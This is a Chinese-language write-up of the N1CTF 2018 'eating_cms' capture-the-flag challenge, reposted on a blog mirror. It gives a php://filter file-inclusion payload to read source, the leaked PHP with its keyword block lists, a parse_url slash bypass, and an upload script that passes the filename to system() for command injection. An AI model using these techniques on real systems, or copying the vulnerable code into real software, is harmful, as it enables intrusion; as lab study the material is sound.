zoukankan      html  css  js  c++  java
  • BUUCTF [N1CTF 2018]eating_cms

    先是login.php,登陆没反应,大概猜测有register.php,注册后进入

    看到url,有感觉是文件包含,include了一个网页,尝试一下各种伪协议读取。

    /user.php?page=php://filter/convert.base64-encode/resource=user

    user.php:

    <?php
    require_once("function.php");
    if( !isset( $_SESSION['user'] )){
        Header("Location: index.php");
    
    }
    if($_SESSION['isadmin'] === '1'){
        $oper_you_can_do = $OPERATE_admin;
    }else{
        $oper_you_can_do = $OPERATE;
    }
    //die($_SESSION['isadmin']);
    if($_SESSION['isadmin'] === '1'){
        if(!isset($_GET['page']) || $_GET['page'] === ''){
            $page = 'info';
        }else {
            $page = $_GET['page'];
        }
    }
    else{
        if(!isset($_GET['page'])|| $_GET['page'] === ''){
            $page = 'guest';
        }else {
            $page = $_GET['page'];
            if($page === 'info')
            {
    //            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
                Header("Location: user.php?page=guest");
            }
        }
    }
    filter_directory();
    //if(!in_array($page,$oper_you_can_do)){
    //    $page = 'info';
    //}
    include "$page.php";
    ?>
    

    function.php:

    <?php
    session_start();
    require_once "config.php";
    function Hacker()
    {
        Header("Location: hacker.php");
        die();
    }
    
    
    function filter_directory()
    {
        $keywords = ["flag","manage","ffffllllaaaaggg"];
        $uri = parse_url($_SERVER["REQUEST_URI"]);
        parse_str($uri['query'], $query);
    //    var_dump($query);
    //    die();
        foreach($keywords as $token)
        {
            foreach($query as $k => $v)
            {
                if (stristr($k, $token))
                    hacker();
                if (stristr($v, $token))
                    hacker();
            }
        }
    }
    
    function filter_directory_guest()
    {
        $keywords = ["flag","manage","ffffllllaaaaggg","info"];
        $uri = parse_url($_SERVER["REQUEST_URI"]);
        parse_str($uri['query'], $query);
    //    var_dump($query);
    //    die();
        foreach($keywords as $token)
        {
            foreach($query as $k => $v)
            {
                if (stristr($k, $token))
                    hacker();
                if (stristr($v, $token))
                    hacker();
            }
        }
    }
    
    function Filter($string)
    {
        global $mysqli;
        $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
        $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
        for ($i = 0; $i < strlen($string); $i++) {
            if (strpos("$whitelist", $string[$i]) === false) {
                Hacker();
            }
        }
        if (preg_match("/$blacklist/is", $string)) {
            Hacker();
        }
        if (is_string($string)) {
            return $mysqli->real_escape_string($string);
        } else {
            return "";
        }
    }
    
    function sql_query($sql_query)
    {
        global $mysqli;
        $res = $mysqli->query($sql_query);
        return $res;
    }
    
    function login($user, $pass)
    {
        $user = Filter($user);
        $pass = md5($pass);
        $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
        echo $sql;
        $res = sql_query($sql);
    //    var_dump($res);
    //    die();
        if ($res->num_rows) {
            $data = $res->fetch_array();
            $_SESSION['user'] = $data[username_which_you_do_not_know];
            $_SESSION['login'] = 1;
            $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
            return true;
        } else {
            return false;
        }
        return;
    }
    
    function updateadmin($level,$user)
    {
        $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
        echo $sql;
        $res = sql_query($sql);
    //    var_dump($res);
    //    die();
    //    die($res);
        if ($res == 1) {
            return true;
        } else {
            return false;
        }
        return;
    }
    
    function register($user, $pass)
    {
        global $mysqli;
        $user = Filter($user);
        $pass = md5($pass);
        $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
        $res = sql_query($sql);
        return $mysqli->insert_id;
    }
    
    function logout()
    {
        session_destroy();
        Header("Location: index.php");
    }
    
    ?>
    

    尝试读ffffllllaaaaggg的时候进了hacker.php,仔细看源码,是parse_url,parse_url有解析漏洞,找机会多加几个/就可以绕过。
    ffffllllaaaaggg.php

    <?php
    if (FLAG_SIG != 1){
        die("you can not visit it directly");
    }else {
        echo "you can find sth in m4aaannngggeee";
    }
    ?>
    

    m4aaannngggeee.php

    <?php
    if (FLAG_SIG != 1){
        die("you can not visit it directly");
    }
    include "templates/upload.html";
    
    ?>
    

    访问templates/upload.html

    上传,传到的是/templates/upllloadddd.php,但是not found

    upllloadddd.php:

    <?php
    $allowtype = array("gif","png","jpg");
    $size = 10000000;
    $path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
    $filename = $_FILES['file']['name'];
    if(is_uploaded_file($_FILES['file']['tmp_name'])){
        if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
            die("error:can not move");
        }
    }else{
        die("error:not an upload file!");
    }
    $newfile = $path.$filename;
    echo "file upload success<br />";
    echo $filename;
    $picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
    echo "<img src='data:image/png;base64,".$picdata."'></img>";
    if($_FILES['file']['error']>0){
        unlink($newfile);
        die("Upload file error: ");
    }
    $ext = array_pop(explode(".",$_FILES['file']['name']));
    if(!in_array($ext,$allowtype)){
        unlink($newfile);
    }
    ?>
    

    这里有个重点system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");命令执行

    只要我们上传上去,名字是命令注入就行了。

    我们从m4aaannngggeee.php里面可以上传东西
    url://user.php?page=m4aaannngggeee

    从这上传,抓包,改filename

    尝试命令执行就行了,这里有一点点奇怪,不过不重要了。

    总结:没什么含量,就是一直找,很干扰思维。

  • 相关阅读:
    第四章 数组和方法
    JAVA基础笔记
    ios navigationcontroller add multi navigationItem
    Objective-C Runtime能做什么?
    在Xcode中使用Git进行源码版本控制
    分析iOS Crash文件:符号化iOS Crash文件的3种方法
    Core Animation Layer(22)
    Touch Events and UIResponder(19)
    UIPopoverController and Modal View Controllers(13)
    Subclassing UITableViewCell(15)
  • 原文地址:https://www.cnblogs.com/vstar-o/p/13849791.html
Copyright © 2011-2022 走看看